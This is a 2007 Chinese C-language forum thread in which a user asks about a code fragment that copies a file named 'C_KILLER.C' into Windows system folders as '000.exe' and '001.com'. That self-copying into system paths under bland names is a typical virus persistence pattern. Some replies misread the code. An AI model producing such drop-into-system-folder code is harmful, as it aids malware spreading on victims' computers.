当前位置: 代码迷 >> C语言 >> 不懂了......
  详细解决方案

不懂了......

热度:231   发布时间:2007-04-09 20:14:13.0
不懂了......

先看下面.....
/**** void copyfile(char *infile, char *outfile)
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
} ****/

void CreatEXE()
{
int i;
char *path;

char *s[2] = {"C:\\WINDOWS\\system32\\000.exe","C:\\WINDOWS\\001.com"};


for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080); /*这里的0x0100和0x0080是什么意思?有什么作用吗?*/
copyfile( "C_KILLER.C",s[i]); /*的首地址是放在S[1],后面吗?但S已经有2个地址了啊?,copyfile()在上面*/
}
}

搜索更多相关的解决方案: char  void  fgetc  

----------------解决方案--------------------------------------------------------
以下是引用ffppgg在2007-4-9 20:14:13的发言:

先看下面.....
/**** void copyfile(char *infile, char *outfile) //函数无返回值
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
} ****/

void CreatEXE()
{
int i;
char *path;

char *s[2] = {"C:\\WINDOWS\\system32\\000.exe","C:\\WINDOWS\\001.com"};


for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080); /*这里的0x0100和0x0080 16进制,应该是open函数调用*/
copyfile( "C_KILLER.C",s[i]); /*应该是将文件名放入指针数组中*/
}
}


----------------解决方案--------------------------------------------------------

以下是引用I喜欢c在2007-4-9 21:04:27的发言:

但指针数组S中已经有2个地址了,放的下吗?
----------------解决方案--------------------------------------------------------

理解错了(我)

那是复制文件!


----------------解决方案--------------------------------------------------------

CopyFile 方法
从一个位置向另一个位置复制一个或多个文件。

object.CopyFile ( source, destination[, overwrite] )

参数
object

必选项。 object 应为 FileSystemObject的名称。

source

必选项。 指定文件字符串,可以包含通配字符来复制一个或多个文件。

destination

必选项。 目的字符串,文件将从 source 复制到这里。 不允许通配字符。

overwrite

可选项。 Boolean 值,指明是否覆盖已有文件。 如果为 true ,则文件将被覆盖;如果为 false ,则文件不会被覆盖。 默认的是 true 。 注意,如果 destination 设置了只读属性,那么无论 overwrite 的值是什么, CopyFile 都会失败。

说明
通配字符只能用在 source 参数中最后的路径成分中。 举例来说,可以使用:

fso = new ActiveXObject("Scripting.FileSystemObject");
fso.CopyFile ("c:\\mydocuments\\letters\\*.doc", "c:\\tempfolder\\")
但不能够使用:

fso = new ActiveXObject("Scripting.FileSystemObject");
fso.CopyFile ("c:\\mydocuments\\*\\R1???97.xls", "c:\\tempfolder")
如果 source 包含了通配字符或者 destination 以路径分隔符 (\) 结束,那么将假定 destination 是一个已有的文件夹,满足匹配的文件将复制到这个文件夹中。 否则,将假定 destination 是要创建的文件名。 无论哪种情况,如果复制的是单个文件,将会有三种可能。

如果 destination 不存在,那么 source 将被复制。 这是通常情况。
如果 destination 是已有文件,当 overwrite 为 false 时将会产生一个错误。 否则将会试图用 source 覆盖已有文件。
如果 destination 是目录,将会出错。
如果使用通配字符的 source 不能匹配任何文件,将会出错。 CopyFile 方法遇到第一个错误时终止。 出错后不会试图回滚或撤消出错前所做的修改。


----------------解决方案--------------------------------------------------------
  相关解决方案